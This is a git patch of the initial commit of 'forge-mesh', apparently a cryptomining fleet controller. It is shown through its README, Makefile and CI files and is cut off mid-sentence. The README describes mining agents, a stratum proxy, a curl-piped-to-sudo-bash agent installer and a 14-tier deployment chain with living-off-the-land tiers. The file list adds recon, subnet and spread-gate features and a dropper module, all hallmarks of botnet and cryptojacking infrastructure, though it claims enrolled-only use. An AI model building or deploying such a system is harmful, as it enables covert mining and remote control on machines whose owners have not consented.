From 3678b199d0294807500b8d4d29056ad31e798a96 Mon Sep 17 00:00:00 2001 From: drjones Date: Sat, 4 Jul 2026 09:31:23 +0000 Subject: [PATCH] Initial commit: AetherForge Linux (forge-mesh) v0.1.0-dev --- .github/workflows/test.yml | 37 + .gitignore | 25 + Makefile | 54 + README.md | 538 ++ cmd/agent/.gitkeep | 0 cmd/agent/main.go | 462 ++ cmd/agent/tier_chain_test.go | 134 + cmd/agent/update.go | 160 + cmd/agent/update_test.go | 67 + cmd/agent/ws_test.go | 277 + cmd/forge/.gitkeep | 0 cmd/forge/main.go | 122 + cmd/forge/main_test.go | 241 + cmd/server/main.go | 97 + cmd/server/main_test.go | 206 + cmd/server/webroot/assets/index-BJ9Sa22q.css | 1 + cmd/server/webroot/assets/index-C7yIT9Qp.js | 232 + cmd/server/webroot/forge.svg | 5 + cmd/server/webroot/index.html | 20 + data/config.json | 34 + deploy/systemd/forge-mesh-agent.service | 14 + deploy/systemd/forge-mesh-server.service | 14 + docs/PROBLEMS.md | 46 + docs/TESTING.md | 89 + go.mod | 15 + go.sum | 13 + internal/alerts/telegram.go | 98 + internal/api/handlers/auth.go | 28 + internal/api/handlers/crucible.go | 136 + internal/api/handlers/dropper.go | 62 + internal/api/handlers/extended.go | 532 ++ internal/api/handlers/fleet.go | 101 + internal/api/handlers/forge.go | 84 + internal/api/handlers/health.go | 34 + internal/api/handlers/install_tmpl_test.go | 29 + internal/api/handlers/intelligence.go | 253 + internal/api/handlers/public.go | 138 + internal/api/handlers/seer.go | 174 + internal/api/integration_test.go | 718 ++ internal/api/router_test.go | 186 + internal/api/server.go | 256 + internal/api/types/build.go | 16 + internal/api/types/campaign.go | 13 + internal/api/types/host.go | 22 + internal/api/types/message.go | 63 + internal/api/types/mining_profile.go | 21 + internal/auth/auth.go | 131 + internal/auth/auth_test.go | 82 + internal/config/config.go | 134 + internal/court/court.go | 262 + internal/court/seer.go | 153 + internal/db/db.go | 240 + internal/erasure/erasure_test.go | 58 + internal/erasure/service.go | 209 + internal/fleet/adaptive.go | 33 + internal/fleet/atlas.go | 59 + internal/fleet/clearance.go | 105 + internal/fleet/clearance_labels.go | 10 + internal/fleet/crucible.go | 127 + internal/fleet/earn.go | 93 + internal/fleet/hub.go | 358 + internal/fleet/lotl.go | 233 + internal/fleet/phenotype_test.go | 91 + internal/fleet/policy_snapshot.go | 91 + internal/fleet/recon.go | 151 + internal/fleet/store.go | 219 + internal/fleet/store_test.go | 96 + internal/fleet/subnet.go | 246 + internal/fleet/summary.go | 181 + internal/fleet/tiers.go | 189 + internal/forge/build.go | 186 + internal/forge/keys.go | 19 + internal/forge/sign.go | 66 + internal/forge/sign_test.go | 22 + internal/mining/chain.go | 283 + internal/mining/chain_test.go | 64 + internal/mining/mock.go | 76 + internal/mining/tiers.go | 336 + internal/policy/mining.go | 40 + internal/stratum/proxy.go | 308 + internal/stratum/proxy_test.go | 74 + internal/testutil/server.go | 136 + scripts/LAUNCH.sh | 109 + scripts/README-USB.md | 112 + scripts/ci-test.sh | 25 + scripts/e2e-lib.sh | 92 + scripts/e2e-test.sh | 201 + scripts/install.sh.tpl | 112 + scripts/pack-usb.sh | 84 + scripts/sync-webroot.sh | 16 + scripts/test-all.sh | 78 + scripts/test-cli.sh | 48 + scripts/test-frontend.sh | 18 + scripts/test-integration.sh | 15 + scripts/test-unit.sh | 14 + web/.gitkeep | 0 web/README.md | 31 + web/index.html | 19 + web/package-lock.json | 6580 +++++++++++++++++ web/package.json | 40 + web/postcss.config.js | 6 + web/public/forge.svg | 5 + web/src/App.test.tsx | 60 + web/src/App.tsx | 40 + .../components/dashboard/HostCard.test.tsx | 56 + web/src/components/dashboard/HostCard.tsx | 111 + .../layout/CommandDeckLayout.test.tsx | 29 + .../components/layout/CommandDeckLayout.tsx | 24 + .../components/layout/ProtectedRoute.test.tsx | 40 + web/src/components/layout/ProtectedRoute.tsx | 12 + web/src/components/layout/Sidebar.tsx | 104 + web/src/components/ui/badge.test.tsx | 18 + web/src/components/ui/badge.tsx | 46 + web/src/components/ui/button.tsx | 49 + web/src/components/ui/card.tsx | 66 + web/src/components/ui/input.tsx | 20 + web/src/components/ui/label.tsx | 19 + web/src/context/FleetWsContext.tsx | 31 + web/src/hooks/useFleetData.ts | 67 + web/src/hooks/useFleetWebSocket.test.ts | 57 + web/src/hooks/useFleetWebSocket.ts | 112 + web/src/index.css | 42 + web/src/lib/auth.test.ts | 43 + web/src/lib/auth.ts | 66 + web/src/lib/utils.test.ts | 34 + web/src/lib/utils.ts | 21 + web/src/main.tsx | 13 + web/src/pages/CalibratePage.test.tsx | 34 + web/src/pages/CalibratePage.tsx | 196 + web/src/pages/CruciblePage.test.tsx | 32 + web/src/pages/CruciblePage.tsx | 174 + web/src/pages/DashboardPage.test.tsx | 61 + web/src/pages/DashboardPage.tsx | 95 + web/src/pages/ForgePage.test.tsx | 55 + web/src/pages/ForgePage.tsx | 324 + web/src/pages/LoginPage.test.tsx | 42 + web/src/pages/LoginPage.tsx | 101 + web/src/pages/SeerPage.test.tsx | 63 + web/src/pages/SeerPage.tsx | 176 + web/src/test/mockEventSource.ts | 52 + web/src/test/mockWebSocket.ts | 57 + web/src/test/mocks/fleet.ts | 38 + web/src/test/mocks/handlers.ts | 89 + web/src/test/mocks/server.ts | 4 + web/src/test/setupTests.ts | 20 + web/src/test/test-utils.tsx | 47 + web/src/types/fleet.ts | 97 + web/src/vite-env.d.ts | 2 + web/tailwind.config.js | 35 + web/tsconfig.app.json | 27 + web/tsconfig.json | 7 + web/tsconfig.node.json | 19 + web/vite.config.ts | 29 + web/vitest.config.ts | 25 + 154 files changed, 21714 insertions(+) create mode 100644 .github/workflows/test.yml create mode 100644 .gitignore create mode 100644 Makefile create mode 100644 README.md create mode 100644 cmd/agent/.gitkeep create mode 100644 cmd/agent/main.go create mode 100644 cmd/agent/tier_chain_test.go create mode 100644 cmd/agent/update.go create mode 100644 cmd/agent/update_test.go create mode 100644 cmd/agent/ws_test.go create mode 100644 cmd/forge/.gitkeep create mode 100644 cmd/forge/main.go create mode 100644 cmd/forge/main_test.go create mode 100644 cmd/server/main.go create mode 100644 cmd/server/main_test.go create mode 100644 cmd/server/webroot/assets/index-BJ9Sa22q.css create mode 100644 cmd/server/webroot/assets/index-C7yIT9Qp.js create mode 100644 cmd/server/webroot/forge.svg create mode 100644 cmd/server/webroot/index.html create mode 100644 data/config.json create mode 100644 deploy/systemd/forge-mesh-agent.service create mode 100644 deploy/systemd/forge-mesh-server.service create mode 100644 docs/PROBLEMS.md create mode 100644 docs/TESTING.md create mode 100644 go.mod create mode 100644 go.sum create mode 100644 internal/alerts/telegram.go create mode 100644 internal/api/handlers/auth.go create mode 100644 internal/api/handlers/crucible.go create mode 100644 internal/api/handlers/dropper.go create mode 100644 internal/api/handlers/extended.go create mode 100644 internal/api/handlers/fleet.go create mode 100644 internal/api/handlers/forge.go create mode 100644 internal/api/handlers/health.go create mode 100644 internal/api/handlers/install_tmpl_test.go create mode 100644 internal/api/handlers/intelligence.go create mode 100644 internal/api/handlers/public.go create mode 100644 internal/api/handlers/seer.go create mode 100644 internal/api/integration_test.go create mode 100644 internal/api/router_test.go create mode 100644 internal/api/server.go create mode 100644 internal/api/types/build.go create mode 100644 internal/api/types/campaign.go create mode 100644 internal/api/types/host.go create mode 100644 internal/api/types/message.go create mode 100644 internal/api/types/mining_profile.go create mode 100644 internal/auth/auth.go create mode 100644 internal/auth/auth_test.go create mode 100644 internal/config/config.go create mode 100644 internal/court/court.go create mode 100644 internal/court/seer.go create mode 100644 internal/db/db.go create mode 100644 internal/erasure/erasure_test.go create mode 100644 internal/erasure/service.go create mode 100644 internal/fleet/adaptive.go create mode 100644 internal/fleet/atlas.go create mode 100644 internal/fleet/clearance.go create mode 100644 internal/fleet/clearance_labels.go create mode 100644 internal/fleet/crucible.go create mode 100644 internal/fleet/earn.go create mode 100644 internal/fleet/hub.go create mode 100644 internal/fleet/lotl.go create mode 100644 internal/fleet/phenotype_test.go create mode 100644 internal/fleet/policy_snapshot.go create mode 100644 internal/fleet/recon.go create mode 100644 internal/fleet/store.go create mode 100644 internal/fleet/store_test.go create mode 100644 internal/fleet/subnet.go create mode 100644 internal/fleet/summary.go create mode 100644 internal/fleet/tiers.go create mode 100644 internal/forge/build.go create mode 100644 internal/forge/keys.go create mode 100644 internal/forge/sign.go create mode 100644 internal/forge/sign_test.go create mode 100644 internal/mining/chain.go create mode 100644 internal/mining/chain_test.go create mode 100644 internal/mining/mock.go create mode 100644 internal/mining/tiers.go create mode 100644 internal/policy/mining.go create mode 100644 internal/stratum/proxy.go create mode 100644 internal/stratum/proxy_test.go create mode 100644 internal/testutil/server.go create mode 100755 scripts/LAUNCH.sh create mode 100644 scripts/README-USB.md create mode 100755 scripts/ci-test.sh create mode 100755 scripts/e2e-lib.sh create mode 100755 scripts/e2e-test.sh create mode 100644 scripts/install.sh.tpl create mode 100755 scripts/pack-usb.sh create mode 100755 scripts/sync-webroot.sh create mode 100755 scripts/test-all.sh create mode 100755 scripts/test-cli.sh create mode 100755 scripts/test-frontend.sh create mode 100755 scripts/test-integration.sh create mode 100755 scripts/test-unit.sh create mode 100644 web/.gitkeep create mode 100644 web/README.md create mode 100644 web/index.html create mode 100644 web/package-lock.json create mode 100644 web/package.json create mode 100644 web/postcss.config.js create mode 100644 web/public/forge.svg create mode 100644 web/src/App.test.tsx create mode 100644 web/src/App.tsx create mode 100644 web/src/components/dashboard/HostCard.test.tsx create mode 100644 web/src/components/dashboard/HostCard.tsx create mode 100644 web/src/components/layout/CommandDeckLayout.test.tsx create mode 100644 web/src/components/layout/CommandDeckLayout.tsx create mode 100644 web/src/components/layout/ProtectedRoute.test.tsx create mode 100644 web/src/components/layout/ProtectedRoute.tsx create mode 100644 web/src/components/layout/Sidebar.tsx create mode 100644 web/src/components/ui/badge.test.tsx create mode 100644 web/src/components/ui/badge.tsx create mode 100644 web/src/components/ui/button.tsx create mode 100644 web/src/components/ui/card.tsx create mode 100644 web/src/components/ui/input.tsx create mode 100644 web/src/components/ui/label.tsx create mode 100644 web/src/context/FleetWsContext.tsx create mode 100644 web/src/hooks/useFleetData.ts create mode 100644 web/src/hooks/useFleetWebSocket.test.ts create mode 100644 web/src/hooks/useFleetWebSocket.ts create mode 100644 web/src/index.css create mode 100644 web/src/lib/auth.test.ts create mode 100644 web/src/lib/auth.ts create mode 100644 web/src/lib/utils.test.ts create mode 100644 web/src/lib/utils.ts create mode 100644 web/src/main.tsx create mode 100644 web/src/pages/CalibratePage.test.tsx create mode 100644 web/src/pages/CalibratePage.tsx create mode 100644 web/src/pages/CruciblePage.test.tsx create mode 100644 web/src/pages/CruciblePage.tsx create mode 100644 web/src/pages/DashboardPage.test.tsx create mode 100644 web/src/pages/DashboardPage.tsx create mode 100644 web/src/pages/ForgePage.test.tsx create mode 100644 web/src/pages/ForgePage.tsx create mode 100644 web/src/pages/LoginPage.test.tsx create mode 100644 web/src/pages/LoginPage.tsx create mode 100644 web/src/pages/SeerPage.test.tsx create mode 100644 web/src/pages/SeerPage.tsx create mode 100644 web/src/test/mockEventSource.ts create mode 100644 web/src/test/mockWebSocket.ts create mode 100644 web/src/test/mocks/fleet.ts create mode 100644 web/src/test/mocks/handlers.ts create mode 100644 web/src/test/mocks/server.ts create mode 100644 web/src/test/setupTests.ts create mode 100644 web/src/test/test-utils.tsx create mode 100644 web/src/types/fleet.ts create mode 100644 web/src/vite-env.d.ts create mode 100644 web/tailwind.config.js create mode 100644 web/tsconfig.app.json create mode 100644 web/tsconfig.json create mode 100644 web/tsconfig.node.json create mode 100644 web/vite.config.ts create mode 100644 web/vitest.config.ts diff --git a/.github/workflows/test.yml b/.github/workflows/test.yml new file mode 100644 index 0000000..2bd53e4 --- /dev/null +++ b/.github/workflows/test.yml @@ -0,0 +1,37 @@ +name: Test + +on: + push: + branches: [main, master] + pull_request: + +jobs: + test: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + + - uses: actions/setup-go@v5 + with: + go-version: "1.22" + cache-dependency-path: go.sum + + - uses: actions/setup-node@v4 + with: + node-version: "20" + cache: npm + cache-dependency-path: web/package-lock.json + + - name: Install build deps (SQLite CGO) + run: sudo apt-get update && sudo apt-get install -y gcc libsqlite3-dev netcat-openbsd + + - name: Run CI test harness + run: chmod +x scripts/*.sh && ./scripts/ci-test.sh + + - name: Upload e2e artifacts on failure + if: failure() + uses: actions/upload-artifact@v4 + with: + name: e2e-logs + path: /tmp/forge-mesh-e2e* + if-no-files-found: ignore diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..776afaf --- /dev/null +++ b/.gitignore @@ -0,0 +1,25 @@ +# Binaries +bin/ +dist/ + +# Runtime data +data/forge-mesh.db +data/forge-mesh.db-shm +data/forge-mesh.db-wal +data/signing.key +data/cloudflared-token.txt +data/artifacts/ + +# Frontend deps & build output +web/node_modules/ +web/dist/ +web/tsconfig.app.tsbuildinfo +web/tsconfig.node.tsbuildinfo + +# Go build cache +*.test +*.out + +# OS +.DS_Store +Thumbs.db diff --git a/Makefile b/Makefile new file mode 100644 index 0000000..fde9213 --- /dev/null +++ b/Makefile @@ -0,0 +1,54 @@ +.PHONY: server agent forge run tidy build test test-frontend all web-deck deck install-agent + +GO := /opt/go/bin/go +export GOROOT := /opt/go +export PATH := /opt/go/bin:$(PATH) + +BINARY := bin/forge-mesh-server +AGENT := bin/forge-mesh-agent +FORGE := bin/forge-mesh-forge +CONFIG := data/config.json + +web-deck: + cd web && npm install && npm run build + ./scripts/sync-webroot.sh + +deck: web-deck server + +server: + @mkdir -p bin + $(GO) build -o $(BINARY) ./cmd/server + +agent: + @mkdir -p bin + $(GO) build -o $(AGENT) ./cmd/agent + +forge: + @mkdir -p bin + $(GO) build -o $(FORGE) ./cmd/forge + +all: server agent forge + +install-agent: agent + sudo mkdir -p /opt/forge-mesh + sudo install -m 0755 $(AGENT) /opt/forge-mesh/agent + @echo "Installed dev agent to /opt/forge-mesh/agent" + @echo "Run: FORGE_MESH_FLEET_SECRET=change-me-fleet-secret /opt/forge-mesh/agent -deck-url http://127.0.0.1:8989" + +run: server + ./$(BINARY) -config $(CONFIG) + +tidy: + $(GO) mod tidy + +build: + $(GO) build ./... + +test: + $(GO) test ./... + +test-frontend: + cd web && npm run test + +e2e: + ./scripts/e2e-test.sh diff --git a/README.md b/README.md new file mode 100644 index 0000000..df26337 --- /dev/null +++ b/README.md @@ -0,0 +1,538 @@ +# AetherForge Linux (forge-mesh) + +Self-hosted Linux control plane for fleets of enrolled machines. Single Go binary with an embedded React frontend, stratum mining proxy, 14-tier deployment chain, and optional AI-assisted remediation court. + +--- + +## Table of Contents + +- [Architecture](#architecture) +- [Components](#components) +- [Prerequisites](#prerequisites) +- [Quick Start](#quick-start) +- [Portable USB Deck](#portable-usb-deck) +- [Configuration](#configuration) +- [Building](#building) +- [Installing Agents](#installing-agents) +- [Command Deck (Web UI)](#command-deck-web-ui) +- [API Reference](#api-reference) +- [14-Tier Deployment Chain](#14-tier-deployment-chain) +- [Mining & Stratum Proxy](#mining--stratum-proxy) +- [Singular Machine Court](#singular-machine-court) +- [Alerts (Telegram)](#alerts-telegram) +- [Networking](#networking) +- [systemd Deployment](#systemd-deployment) +- [Testing](#testing) +- [Environment Variables](#environment-variables) +- [Known Limits](#known-limits) +- [Security Notes](#security-notes) +- [Project Layout](#project-layout) + +--- + +## Architecture + +``` +┌─────────────────────────────────────────────┐ +│ forge-mesh-server │ +│ ┌──────────────┐ ┌──────────────────┐ │ +│ │ React SPA │ │ REST / WS API │ │ +│ │ (embedded) │◄──│ /api/v1/... │ │ +│ └──────────────┘ └────────┬─────────┘ │ +│ ┌───────────┐ ┌──────────┐ │ ┌──────────┐ │ +│ │ SQLite │ │ Fleet │ │ │ Stratum │ │ +│ │ Store │ │ Hub │ │ │ Proxy │ │ +│ └───────────┘ └──────────┘ │ └──────────┘ │ +└─────────────────────────────┼───────────────┘ + │ WebSocket / HTTP + ┌──────────────────┼──────────────┐ + │ forge-mesh-agent (per host) │ + │ ┌───────────┐ ┌────────────┐ │ + │ │ Mining │ │ Tier / │ │ + │ │ Chain │ │ Beacon │ │ + │ └───────────┘ └────────────┘ │ + └─────────────────────────────────┘ +``` + +**Server** — serves the embedded SPA, REST+WebSocket API, SQLite state, stratum proxy, and optional AI court. + +**Agent** — persistent WebSocket to the deck (falls back to HTTP beacon), tiered mining chain, handles `pause`/`resume`/`reboot`/`screenshot`/`mining_profile` commands, polls for signed self-updates. + +--- + +## Components + +| Binary | Purpose | +|--------|---------| +| `forge-mesh-server` | Control plane: API, web UI, SQLite, stratum proxy, court | +| `forge-mesh-agent` | Per-host agent: mining chain, WebSocket heartbeat, command handler | +| `forge-mesh-forge` | CLI: cross-compile and sign agent binaries, record in DB | + +--- + +## Prerequisites + +**Required** + +| Requirement | Notes | +|-------------|-------| +| Go 1.22+ | `make` targets use `/opt/go/bin/go`; override with `GO=` | +| gcc / build-essential | CGO required for `go-sqlite3` | +| Node.js + npm | Only needed to rebuild the Command Deck frontend | + +**Optional** (feature-gated) + +| Tool | Feature | +|------|---------| +| `xmrig` | Native CPU miner (simulated fallback if absent) | +| `lolMiner` / `rigel` | GPU mining (KawPoW / RVN) | +| `podman` or `docker` | OCI mining tier (T4, T10) | +| `nix` | Nix flake deploy tier (T11) | +| `wg` / `wireguard-tools` | WireGuard mesh tier (T9) | +| `cloudflared` | Cloudflare tunnel sidecar | +| Ollama / OpenAI-compat API | AI court deliberation | +| `grim`, `scrot`, or `import` | Screenshot command | + +--- + +## Quick Start + +```bash +git clone && cd aetherforge-linux +make all # build server + agent + forge CLI +$EDITOR data/config.json # set credentials and wallet +make run # → http://localhost:8989 +``` + +Default login: `admin` / `changeme` (change before exposing to any network). + +--- + +## Portable USB Deck + +```bash +# Pack (from repo root after building) +./scripts/pack-usb.sh + +# Deploy +tar -xzf dist/forge-mesh-portable-*.tar.gz && cd forge-mesh-portable-* +$EDITOR data/config.json # change credentials & wallet +./LAUNCH.sh +``` + +`LAUNCH.sh` checks for a Cloudflare tunnel token, starts `cloudflared` as a sidecar if found, starts `forge-mesh-server`, and opens the deck in your browser. + +```bash +AF_NO_BROWSER=1 ./LAUNCH.sh # headless / SSH +``` + +--- + +## Configuration + +`data/config.json`: + +```json +{ + "listen_addr": ":8989", + "data_dir": "./data", + "database_path": "./data/forge-mesh.db", + "operator_clearance": 4, + "auth": { + "basic_username": "admin", + "basic_password": "changeme", + "fleet_secret": "change-me-fleet-secret" + }, + "wallet_policy": { + "default_wallet": "", + "currency": "XMR" + }, + "stratum": { + "xmr_listen": ":3333", + "rvn_listen": ":3388", + "upstream_xmr": "pool.supportxmr.com:3333", + "upstream_rvn": "stratum-ravencoin.flypool.org:3333" + }, + "forge": { + "signing_key_path": "./data/signing.key", + "artifacts_dir": "./data/artifacts" + }, + "court": { "ollama_url": "http://127.0.0.1:11434", "enabled": false }, + "telegram": { "enabled": false, "bot_token": "", "chat_id": "" } +} +``` + +| Key | Description | +|-----|-------------| +| `listen_addr` | HTTP server bind address | +| `operator_clearance` | L0–L4; gates privileged actions | +| `auth.fleet_secret` | Shared secret agents use for Bearer auth | +| `wallet_policy.default_wallet` | Fallback mining wallet address | +| `stratum.*` | Local proxy ports and upstream pool addresses | +| `forge.signing_key_path` | ed25519 key used to sign agent builds | +| `court.ollama_url` | Ollama base URL (requires `court.enabled: true`) | +| `telegram.*` | Bot token + chat ID for fleet event alerts | + +--- + +## Building + +```bash +make server # → bin/forge-mesh-server +make agent # → bin/forge-mesh-agent +make forge # → bin/forge-mesh-forge +make all # build all three +make web-deck # npm install + build React SPA, sync into webroot +make deck # web-deck + server +make build # go build ./... (type-check only) +make tidy # go mod tidy +``` + +**Forge CLI** — cross-compile and sign agent artifacts: + +```bash +# Build linux/amd64 + linux/arm64, sign ed25519, record in DB +./bin/forge-mesh-forge build --config data/config.json --version 1.2.0 + +# Print signing public key (pass to agents via -pubkey or FORGE_MESH_PUBKEY) +./bin/forge-mesh-forge pubkey --config data/config.json +``` + +Signed builds are served at `/api/v1/public/builds` and `/api/v1/public/download/{id}`. + +--- + +## Installing Agents + +**One-liner summon:** + +```bash +curl -fsSL http://:8989/install.sh | sudo bash +``` + +The script is rendered from `scripts/install.sh.tpl` with fleet secret, deck URL, and signing public key injected at runtime. + +**Manual / systemd:** + +```bash +sudo mkdir -p /opt/forge-mesh +sudo install -m 0755 bin/forge-mesh-agent /opt/forge-mesh/agent + +sudo tee /etc/forge-mesh/agent.env <:8989 +FORGE_FLEET_SECRET= +FORGE_PUBKEY= +EOF + +sudo cp deploy/systemd/forge-mesh-agent.service /etc/systemd/system/ +sudo systemctl enable --now forge-mesh-agent +``` + +**Agent flags:** + +| Flag | Env | Description | +|------|-----|-------------| +| `-deck-url` | `FORGE_MESH_DECK_URL` | Deck base URL | +| `-secret` | `FORGE_MESH_FLEET_SECRET` | Fleet bearer secret | +| `-pubkey` | `FORGE_MESH_PUBKEY` | ed25519 public key for signed self-update | +| `-host-id` | — | Stable host ID (persisted to data dir) | +| `-stratum-host` | — | Stratum proxy host (default `127.0.0.1`) | +| `-wallet` | `FORGE_WALLET` | Fallback wallet when no server profile | +| `-data-dir` | — | Agent state dir (default `/opt/forge-mesh` or `~/.forge-mesh`) | + +--- + +## Command Deck (Web UI) + +Develop locally: + +```bash +cd web && npm install && npm run dev # proxies /api → http://localhost:8989 +``` + +| Route | Description | +|-------|-------------| +| `/login` | HTTP Basic login (credentials in `sessionStorage`) | +| `/dashboard` | Fleet host cards, real-time hashrate, tier badges, WS health | +| `/forge` | Trigger cross-compiled agent builds | +| `/calibrate` | Mining profile policy editor — push profiles to fleet | +| `/crucible` | Batch terminal — dispatch commands to enrolled hosts | +| `/seer` | SSE event stream — live audit log of fleet and court events | + +--- + +## API Reference + +Protected endpoints require HTTP Basic auth. Agent endpoints use `Authorization: Bearer `. + +### Public + +| Method | Path | Description | +|--------|------|-------------| +| `GET` | `/api/v1/health` | Version + health check | +| `GET` | `/install.sh` | Rendered agent install script | +| `GET` | `/api/v1/public/builds` | List public builds | +| `GET` | `/api/v1/public/builds/latest` | Latest public build | +| `GET` | `/api/v1/public/download/{id}` | Download a signed artifact | + +### Agent (fleet secret) + +| Method | Path | Description | +|--------|------|-------------| +| `POST` | `/api/v1/fleet/register` | Register host, returns `host_id` | +| `POST` | `/api/v1/fleet/beacon` | HTTP fallback heartbeat | +| `GET` | `/api/v1/ws/fleet` | WebSocket: heartbeat + command delivery | + +### Protected (operator) + +| Method | Path | Description | +|--------|------|-------------| +| `GET` | `/api/v1/fleet` | List all enrolled hosts | +| `POST` | `/api/v1/fleet/{id}/command` | Dispatch a command | +| `POST` | `/api/v1/fleet/{id}/mining-profile` | Push a mining profile | +| `GET` | `/api/v1/fleet/{id}/lotl/timeline` | LOTL tier attempt history | +| `POST` | `/api/v1/fleet/{id}/lotl/run` | Trigger adaptive tier run | +| `GET` | `/api/v1/fleet/{id}/spread-gate` | Earn-before-spread gate status | +| `GET/PUT` | `/api/v1/policy/wallet` | Get / update wallet policy | +| `GET/PUT` | `/api/v1/policy/mining-profile` | Get / set global mining profile | +| `POST` | `/api/v1/policy/snapshot` | Create shareable policy snapshot token | +| `GET` | `/api/v1/forge/builds` | List all recorded builds | +| `POST` | `/api/v1/forge/builds/trigger` | Trigger build pipeline | +| `POST` | `/api/v1/crucible/dispatch` | Dispatch batch terminal command | +| `GET` | `/api/v1/crucible/history` | Crucible command history | +| `GET` | `/api/v1/seer` | SSE stream of seer events | +| `POST` | `/api/v1/court/sessions` | Open a court session | +| `POST` | `/api/v1/court/sessions/{id}/deliberate` | Run prosecutor/defender/judge | +| `POST` | `/api/v1/court/sessions/{id}/verdict` | Dispatch final verdict | +| `GET/POST` | `/api/v1/wireguard/peers` | List or add WireGuard peers | +| `GET` | `/api/v1/wireguard/config` | Render WireGuard config | + +--- + +## 14-Tier Deployment Chain + +Sequential fallback chain. Each tier is gated by environment recon and a patch-first check. The Atlas skip system learns which tiers fail per host phenotype and skips them on retry. + +| # | Type | Description | +|---|------|-------------| +| T1 | `ssh_key` | SSH key-based push | +| T2 | `curl_bash` | `curl \| bash` summon | +| T3 | `ansible_pull` | Ansible pull from control repo | +| T4 | `podman_rootless` | Rootless Podman container | +| T5 | `systemd_transient` | `systemd-run` transient unit | +| T6 | `snap_flatpak` | Snap or Flatpak package | +| T7 | `lan_cache_peer` | LAN peer cache distribution | +| T8 | `dns_txt` | DNS TXT record bootstrap | +| T9 | `mtls_wireguard` | mTLS mesh join over WireGuard | +| T10 | `immutable_oci` | Immutable OCI image (Docker/Podman) | +| T11 | `nix_flake` | Nix flake derivation | +| T12 | `erasure_reassembly` | Reed-Solomon erasure-coded shard reassembly | +| T13 | `fleet_torrent` | Fleet-seeded torrent distribution | +| T14 | `offline_contingency` | Offline/USB bundle fallback | + +The adaptive engine reorders tiers by historical success rate per phenotype on subsequent runs. + +--- + +## Mining & Stratum Proxy + +Built-in stratum TCP proxy relays agent miner connections to upstream pools. Miners are tried in priority order; first success becomes active. + +| Miner | Algo | Notes | +|-------|------|-------| +| `xmrig` | RandomX (XMR) | Native binary; simulated fallback if absent | +| GPU (lolMiner/Rigel) | KawPoW (RVN) | Requires `nvidia-smi` or `rocm-smi` | +| OCI (podman/docker) | RandomX | Pulls `xmrig/xmrig` via Podman | +| Stratum (raw TCP) | XMR / KawPoW | Validates deck proxy path | + +If no miner binary is found, a mock miner keeps the chain alive with simulated hashrate. GPU tiers require proprietary drivers installed separately. + +--- + +## Singular Machine Court + +Optional AI-assisted triage for stuck or failing hosts. Requires `court.enabled: true` and a running [Ollama](https://ollama.ai) instance (or any OpenAI-compatible API). + +1. **Open** — `POST /api/v1/court/sessions` starts a case for a host. +2. **Deliberate** — gathers LOTL tier evidence and runs three `llama3.2` prompts: + - **Prosecutor**: argues for aggressive remediation. + - **Defender**: argues for conservative retry. + - **Judge**: synthesises a concise operational verdict. +3. **Verdict** — L4 clearance operator approves; supported actions: + - `retry_adaptive_tiers` — re-runs the deploy chain with adaptive ordering. + - `pause_host` — marks the host paused. + +All transcripts and verdicts persist in SQLite and emit as Seer events. Without Ollama, court runs in stub mode with placeholder responses. + +--- + +## Alerts (Telegram) + +```json +"telegram": { "enabled": true, "bot_token": "TOKEN", "chat_id": "CHAT_ID" } +``` + +Fires on fleet commands dispatched, court verdicts, and significant fleet events. + +--- + +## Networking + +### Cloudflare Tunnel + +`cloudflared` runs as an external sidecar (not in-process). Provide a token and `LAUNCH.sh` handles the rest: + +```bash +echo 'YOUR_CF_TUNNEL_TOKEN' > data/cloudflared-token.txt +./LAUNCH.sh +``` + +Or set `AF_TUNNEL_TOKEN` in the environment. `LAUNCH.sh` looks for `cloudflared` on `PATH` or in `bin/cloudflared`. + +### WireGuard Mesh (operator-managed) + +AetherForge does **not** auto-provision WireGuard. Configure it yourself: + +```bash +apt install wireguard wireguard-tools +wg genkey | tee data/wg-private.key | wg pubkey > data/wg-public.key +``` + +`/etc/wireguard/forge-mesh.conf`: + +```ini +[Interface] +PrivateKey = +Address = 10.66.0.1/24 +ListenPort = 51820 + +[Peer] +PublicKey = +AllowedIPs = 10.66.0.2/32 +``` + +```bash +sudo systemctl enable --now wg-quick@forge-mesh +``` + +Point agents at the deck WireGuard IP: `FORGE_MESH_DECK_URL=http://10.66.0.1:8989`. Peer records are managed via `/api/v1/wireguard/peers`. + +--- + +## systemd Deployment + +```bash +# Control plane +sudo cp deploy/systemd/forge-mesh-server.service /etc/systemd/system/ +sudo mkdir -p /opt/forge-mesh && sudo cp -r bin/ data/ /opt/forge-mesh/ +sudo systemctl enable --now forge-mesh-server + +# Agent (on enrolled hosts) +sudo cp deploy/systemd/forge-mesh-agent.service /etc/systemd/system/ +sudo tee /etc/forge-mesh/agent.env <:8989 +FORGE_FLEET_SECRET= +FORGE_PUBKEY= +EOF +sudo systemctl enable --now forge-mesh-agent +``` + +Server working directory: `/opt/forge-mesh`. Config: `/opt/forge-mesh/data/config.json`. + +--- + +## Testing + +```bash +# Backend +make test # or: go test ./... + +# Frontend +cd web && npm install +npm run test # run once +npm run test:watch # watch mode +npm run test:coverage # V8 coverage + +# From repo root +make test-frontend + +# End-to-end +make e2e # or: ./scripts/e2e-test.sh +``` + +See [`docs/TESTING.md`](docs/TESTING.md) for MSW handlers, mock WebSocket/EventSource, and how to write new tests. + +--- + +## Environment Variables + +| Variable | Scope | Description | +|----------|-------|-------------| +| `FORGE_MESH_DECK_URL` | Agent | Deck base URL | +| `FORGE_MESH_FLEET_SECRET` | Agent | Fleet bearer secret | +| `FORGE_MESH_PUBKEY` | Agent | ed25519 public key hex for signed self-update | +| `FORGE_WALLET` | Agent | Fallback mining wallet | +| `AF_TUNNEL_TOKEN` | Launcher | Cloudflare tunnel token (overrides file) | +| `AF_TUNNEL_EXTERNAL` | Launcher | Set to `1` automatically when sidecar starts | +| `AF_NO_BROWSER` | Launcher | Skip opening a browser | +| `AF_CONFIG` | Launcher | Override config path | +| `AF_DATA_DIR` | Launcher | Data directory path | +| `AF_SERVER_BIN` | Launcher | Path to `forge-mesh-server` binary | +| `AF_DECK_URL` | Launcher | Browser URL (default `http://localhost:8989`) | + +--- + +## Known Limits + +See [`docs/PROBLEMS.md`](docs/PROBLEMS.md) for the full list. + +- **No worm-style LAN spread.** Enrolled-only; gated by earn-before-burn phenotype check. +- **WireGuard is operator-managed.** No auto-provisioning of keys, configs, or NAT traversal. +- **GPU tiers need drivers pre-installed.** The summon installer does not install GPU stacks. +- **Court requires an LLM you operate.** No bundled model. +- **SQLite is single-node.** Multi-deck HA and Postgres are out of scope. +- **Signature verify is 